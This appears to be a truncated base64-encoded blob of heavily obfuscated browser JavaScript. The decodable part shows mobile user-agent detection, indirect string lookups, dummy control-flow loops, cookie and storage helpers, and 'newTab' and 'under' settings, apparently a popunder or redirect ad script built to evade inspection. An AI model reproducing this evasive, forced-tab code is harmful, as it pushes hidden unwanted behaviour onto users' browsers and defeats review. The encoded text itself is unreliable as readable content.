GljYXxkbW9ifGRvKGN8cClvfGRzKDEyfFwtZCl8ZWwoNDl8YWkpfGVtKGwyfHVsKXxlcihpY3xrMCl8ZXNsOHxleihbNC03XTB8b3N8d2F8emUpfGZldGN8Zmx5KFwtfF8pfGcxIHV8ZzU2MHxnZW5lfGdmXC01fGdcLW1vfGdvKFwud3xvZCl8Z3IoYWR8dW4pfGhhaWV8aGNpdHxoZFwtKG18cHx0KXxoZWlcLXxoaShwdHx0YSl8aHAoIGl8aXApfGhzXC1jfGh0KGMoXC18IHxffGF8Z3xwfHN8dCl8dHApfGh1KGF3fHRjKXxpXC0oMjB8Z298bWEpfGkyMzB8aWFjKCB8XC18XC8pfGlicm98aWRlYXxpZzAxfGlrb218aW0xa3xpbm5vfGlwYXF8aXJpc3xqYSh0fHYpYXxqYnJvfGplbXV8amlnc3xrZGRpfGtlaml8a2d0KCB8XC8pfGtsb258a3B0IHxrd2NcLXxreW8oY3xrKXxsZShub3x4aSl8bGcoIGd8XC8oa3xsfHUpfDUwfDU0fFwtW2Etd10pfGxpYnd8bHlueHxtMVwtd3xtM2dhfG01MFwvfG1hKHRlfHVpfHhvKXxtYygwMXwyMXxjYSl8bVwtY3J8bWUocmN8cmkpfG1pKG84fG9hfHRzKXxtbWVmfG1vKDAxfDAyfGJpfGRlfGRvfHQoXC18IHxvfHYpfHp6KXxtdCg1MHxwMXx2ICl8bXdicHxteXdhfG4xMFswLTJdfG4yMFsyLTNdfG4zMCgwfDIpfG41MCgwfDJ8NSl8bjcoMCgwfDEpfDEwKXxuZSgoY3xtKVwtfG9ufHRmfHdmfHdnfHd0KXxub2soNnxpKXxuenBofG8yaW18b3AodGl8d3YpfG9yYW58b3dnMXxwODAwfHBhbihhfGR8dCl8cGR4Z3xwZygxM3xcLShbMS04XXxjKSl8cGhpbHxwaXJlfHBsKGF5fHVjKXxwblwtMnxwbyhja3xydHxzZSl8cHJveHxwc2lvfHB0XC1nfHFhXC1hfHFjKDA3fDEyfDIxfDMyfDYwfFwtWzItN118aVwtKXxxdGVrfHIzODB8cjYwMHxyYWtzfHJpbTl8cm8odmV8em8pfHM1NVwvfHNhKGdlfG1hfG1tfG1zfG55fHZhKXxzYygwMXxoXC18b298cFwtKXxzZGtcL3xzZShjKFwtfDB8MSl8NDd8bWN8bmR8cmkpfHNnaFwtfHNoYXJ8c2llKFwtfG0pfHNrXC0wfHNsKDQ1fGlkKXxzbShhbHxhcnxiM3xpdHx0NSl8c28oZnR8bnkpfHNwKDAxfGhcLXx2XC18diApfHN5KDAxfG1iKXx0MigxOHw1MCl8dDYoMDB8MTB8MTgpfHRhKGd0fGxrKXx0Y2xcLXx0ZGdcLXx0ZWwoaXxtKXx0aW1cLXx0XC1tb3x0byhwbHxzaCl8dHMoNzB8bVwtfG0zfG01KXx0eFwtOXx1cChcLmJ8ZzF8c2kpfHV0c3R8djQwMHx2NzUwfHZlcml8dmkocmd8dGUpfHZrKDQwfDVbMC0zXXxcLXYpfHZtNDB8dm9kYXx2dWxjfHZ4KDUyfDUzfDYwfDYxfDcwfDgwfDgxfDgzfDg1fDk4KXx3M2MoXC18ICl8d2ViY3x3aGl0fHdpKGcgfG5jfG53KXx3bWxifHdvbnV8eDcwMHx5YXNcLXx5b3VyfHpldG98enRlXC0vaTtoZT13NS5aNigxNCk7ZmU9dzUuWjYoMjMpO3BlPXc1Llo2KDExMSk7X2U9dzUuWjYoMjYwKTtsZT0vbWFjaW50b3NoLztkZT13NS5mNig5MCk7dmU9dzUuZjYoMzMyKTtiZT13NS5mNigyMDApO21lPS9tb3ppbGxhLztnZT13NS5mNigxNzQpO3llPXc1LmY2KDEzNSk7a2U9dzUuZjYoMzc4KTt3ZT0vKD86XHcrKVwvKFtcZFwuXSspKD86JHxcc3xcL3xcKSkrL2k7eGU9dzUuWjYoMzQpO09lPXc1LmY2KDM3Nyk7Q2U9dzUuZjYoNDcyKTtFZT13NS5mNigxMTUpO1BlPXc1Llo2KDE5NCk7VGU9dzUuZjYoNDE0KTtBZT13NS5mNig2NSk7RmU9dzUuWjYoMTA3KTtTZT13NS5mNig0MDMpO2plPXc1LmY2KDI5Mik7TGU9dzUuWjYoNTgpO3plPXc1Llo2KDE2NCk7QmU9Lyg/Ok9QUnxPcGVyYXxPUGlPUylcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0llPXc1LmY2KDIyOSk7TWU9dzUuWjYoNDY3KTtXZT13NS5mNig0NjMpO0RlPXc1Llo2KDQzNyk7VWU9dzUuZjYoMTkzKTtSZT13NS5aNigzMyk7TmU9dzUuZjYoODUpO0hlPXc1LmY2KDQwOCk7cWU9dzUuZjYoMjApO0plPXc1Llo2KDk4KTtWZT13NS5mNigxMzYpOyRlPXc1LmY2KDI3Nyk7UWU9dzUuWjYoNyk7R2U9dzUuWjYoODYpO1llPXc1LmY2KDE3NSk7S2U9dzUuWjYoMjcxKTtaZT13NS5aNigzOTkpO1hlPXc1LmY2KDEzMyk7dGk9dzUuWjYoOTUpO2VpPXc1LmY2KDE1Mik7aWk9dzUuWjYoMzEyKTtuaT13NS5aNigyOTgpO3JpPXc1Llo2KDQzMyk7b2k9dzUuZjYoMTgzKTtzaT0vYW5kcm9pZHx3ZWJvc3xpcGhvbmV8aXBhZHxpcG9kfGJsYWNrYmVycnl8aWVtb2JpbGV8b3BlcmFccyttaW5pLzthaT13NS5aNigzODIpO2NpPXc1LmY2KDEyNyk7dWk9dzUuWjYoMzM2KTtoaT13NS5aNigyOTUpO2ZpPXc1Llo2KDMwNyk7cGk9dzUuZjYoMjUxKTtfaT13NS5mNig0MTkpO2xpPXc1LmY2KDMxKTtkaT13NS5aNigyNzQpO3ZpPXc1LmY2KDQ0Nik7Ymk9dzUuWjYoMTYzKTttaT13NS5mNig5NCk7Z2k9dzUuWjYoMjIwKTt5aT13NS5aNigzNTQpO2tpPXc1Llo2KDE4Nik7d2k9dzUuZjYoNDEyKTt4aT13NS5mNig0NDcpO09pPXc1Llo2KDQwNCk7Q2k9dzUuZjYoNTIpO0VpPXc1Llo2KDY4KTtQaT13NS5mNigzNSk7VGk9dzUuZjYoNTYpO0FpPXc1LmY2KDEwMyk7Rmk9dzUuWjYoMzc5KTtTaT13NS5mNig0NTEpO2ppPXc1Llo2KDQ3NSk7TGk9dzUuWjYoMjEpO3ppPXc1LmY2KDE3MSk7Qmk9dzUuZjYoMTMxKTtJaT13NS5mNig0ODgpO01pPXc1LmY2KDE4MCk7V2k9dzUuWjYoNDQ1KTtEaT0vYnV0dG9ufGlucHV0L2k7VWk9dzUuWjYoMTM0KTtSaT13NS5mNigyMjgpO05pPXc1LmY2KDc4KTtIaT13NS5aNig1NCk7cWk9dzUuWjYoMTY3KTtKaT13NS5mNig0NjUpO1ZpPXc1Llo2KDMzNSk7JGk9dzUuZjYoMTY5KTtRaT13NS5mNigzNjgpO0dpPXc1LmY2KDI4Nyk7WWk9dzUuWjYoMzQ4KTtLaT13NS5mNigzMDEpO1ppPXc1LmY2KDQ0KTtYaT13NS5mNigyNjQpO3RuPXc1LmY2KDc3KTtlbj13NS5mNig0NjApO25uPXc1LmY2KDMzNyk7cm49dzUuWjYoMTU3KTtvbj13NS5aNigzMjUpO3NuPXc1LmY2KDIzNyk7YW49dzUuZjYoNDg2KTtjbj13NS5mNigxNTUpO3VuPXc1Llo2KDEwNCk7aG49dzUuWjYoMzU2KTtmbj13NS5aNig0OCk7cG49dzUuZjYoMjQyKTtfbj13NS5mNig0MDApO2xuPXc1Llo2KDI2NSk7ZG49dzUuZjYoMjg0KTt2bj13NS5aNigyODgpO2JuPXc1LmY2KDQzOSk7bW49dzUuWjYoMzQxKTtnbj13NS5aNigyMDMpO3luPXc1LmY2KDIxNyk7a249dzUuWjYoMzIxKTt3bj13NS5mNig0MzIpO3huPXc1LmY2KDIyKTtPbj02NDc9PSg0OTguMjUsMjAwKT8oMS42OWUrMyw0NjkpOnc1LmY2KDk2KTtDbj13NS5mNigzODMpO0VuPXc1LmY2KDM1OSk7UG49dzUuWjYoMzUwKTtUbj0vXk9wZXJhXC8uKj9QcmVzdG9cLy4qP1ZlcnNpb25cLyhbXGRcLl0rKS9pO0FuPXc1Llo2KDE5MSk7Rm49dzUuZjYoNDQ4KTtTbj13NS5mNigyNDQpO2puPXc1Llo2KDIzMSk7TG49dzUuZjYoMTIwKTt6bj13NS5mNig0NTApO0JuPXc1Llo2KDExOCk7SW49dzUuZjYoNik7TW49dzUuWjYoNzUpO1duPXc1LmY2KDEyMyk7RG49dzUuWjYoMzA0KTtVbj0vcmVzZXR8YnV0dG9ufHN1Ym1pdC9pO1JuPXc1LmY2KDQ4NCk7Tm49dzUuZjYoMTk2KTtIbj13NS5mNigyMjYpO3FuPXc1LmY2KDM1Myk7Sm49dzUuWjYoMTgpO1ZuPXc1LmY2KDE2OCk7JG49dzUuZjYoMzE0KTtRbj13NS5aNig0NzEpO0duPXc1LmY2KDQ1OSk7WW49dzUuZjYoMzE3KTtLbj13NS5mNigyNDkpO1puPS9WZXJzaW9uXC8oW1xkXC5dKylccysobW9iaWxlXC9bXlxzXStccyspP1NhZmFyaS9pO1huPXc1LmY2KDE0NSk7dHI9dzUuWjYoMjQwKTtlcj13NS5mNigxOSk7aXI9dzUuWjYoNDg5KTtucj13NS5aNigyNzYpO3JyPXc1LmY2KDQ4Mik7b3I9dzUuZjYoNDY2KTtzcj13NS5aNigyNzApO2FyPXc1Llo2KDE0Nyk7Y3I9dzUuZjYoMjQpO3VyPXc1LmY2KDgzKTtocj13NS5aNigyNzkpO2ZyPXc1Llo2KDQzKTtwcj13NS5mNig0MjApO19yPXc1LmY2KDQ2Mik7bHI9L2Nocm9tZXxjcmlvcy87ZHI9dzUuWjYoNDExKTt2cj0vIy4qJC87YnI9dzUuZjYoMTU5KTttcj13NS5aNigwKTtncj0vKGNvbXBhdGlibGV8d2Via2l0KS87eXI9L0Z4aU9TXC8oW1xkXC5dKykvaTtrcj13NS5mNig1OSk7d3I9dzUuWjYoMzgpO3hyPXc1LmY2KDE5OCk7T3I9dzUuZjYoMTApO0NyPXc1LmY2KDQ2NCk7RXI9dzUuWjYoMTE2KTtQcj13NS5mNigzNjkpO1RyPXc1LmY2KDEyMSk7QXI9L21zaWV8dHJpZGVudFwvLztGcj13NS5mNigyNTYpO1NyPXc1LmY2KDQ3MCk7anI9dzUuZjYoMjkzKTtMcj13NS5mNig4Nyk7enI9L2Nocm9tZXxvcGVyYXxlZGdlfGNyaW9zfG9waW9zfGZ4aW9zfHVjL2k7QnI9dzUuWjYoMjUyKTtJcj13NS5aNigxMDgpO01yPXc1LmY2KDkxKTtXcj13NS5mNigyKTtEcj13NS5mNigyNjgpO1VyPXc1Llo2KDI3OCk7UnI9dzUuWjYoMzI2KTtOcj13NS5mNig5KTtIcj13NS5mNigxMzIpO3FyPXc1Llo2KDMyNCk7SnI9LyhhbmRyb2lkfGJiXGQrfG1lZWdvKS4rbW9iaWxlfGF2YW50Z298YmFkYVwvfGJsYWNrYmVycnl8YmxhemVyfGNvbXBhbHxlbGFpbmV8ZmVubmVjfGhpcHRvcHxpZW1vYmlsZXxpcChob25lfG9kKXxpcGFkfGlyaXN8a2luZGxlfEFuZHJvaWR8U2lsa3xsZ2UgfG1hZW1vfG1pZHB8bW1wfG5ldGZyb250fG9wZXJhIG0ob2J8aW4paXxwYWxtKCBvcyk/fHBob25lfHAoaXhpfHJlKVwvfHBsdWNrZXJ8cG9ja2V0fHBzcHxzZXJpZXMoNHw2KTB8c3ltYmlhbnx0cmVvfHVwXC4oYnJvd3NlcnxsaW5rKXx2b2RhZm9uZXx3YXB8d2luZG93cyAoY2V8cGhvbmUpfHhkYXx4aWluby9pO1ZyPSgyNDk2LDg0OTUpIT05NzY/dzUuZjYoMjk3KTohITA7JHI9dzUuWjYoNDI2KTtRcj13NS5mNigyMjUpO0dyPXc1LmY2KDE4OCk7WXI9dzUuZjYoNDMxKTtLcj13NS5mNigyNTApO1pyPXc1Llo2KDI2MSk7WHI9dzUuZjYoMTc2KTt0bz13NS5mNigyNSk7ZW89dzUuWjYoMTk1KTtpbz13NS5mNigzMjgpO25vPXc1Llo2KDQwOSk7cm89dzUuZjYoMzQ5KTtvbz13NS5aNigzMjIpO3NvPXc1Llo2KDMxNik7YW89dzUuWjYoMzg1KTtjbz13NS5mNigxMTMpO3VvPXc1LmY2KDQ3NCk7aG89dzUuWjYoMjY3KTtmbz13NS5mNigyNjYpO3BvPXc1Llo2KDQwNyk7X289dzUuWjYoNjMpO2xvPXc1Llo2KDM2Nyk7dm89L3dlYmtpdC87Ym89dzUuWjYoNDUyKTttbz0vc2FmYXJpLztnbz13NS5aNig5Myk7eW89L29wZXJhfG9wcnxvcGlvc1wvLztrbz13NS5aNigzMzEpO3dvPXc1LmY2KDI2KTt4bz13NS5aNigxODIpO09vPXc1LmY2KDM4MCk7Q289dzUuWjYoMTEwKTtFbz13NS5mNigxMTIpO1BvPXc1LmY2KDMwNSk7VG89dzUuZjYoNzQpO0FvPXc1LmY2KDEwMik7Rm89dzUuZjYoNDc4KTtTbz0vYW5kcm9pZC87am89dzUuZjYoMzkxKTtMbz13NS5aNigzMDYpO3pvPXc1LmY2KDQwNSk7Qm89dzUuWjYoOTkpO0lvPXc1Llo2KDM5Nik7TW89dzUuWjYoNDQwKTtXbz13NS5mNig2Nyk7RG89dzUuWjYoNDAxKTtVbz13NS5aNigxNTQpO1JvPXc1LmY2KDI4OSk7Tm89dzUuWjYoMzkzKTtIbz13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0K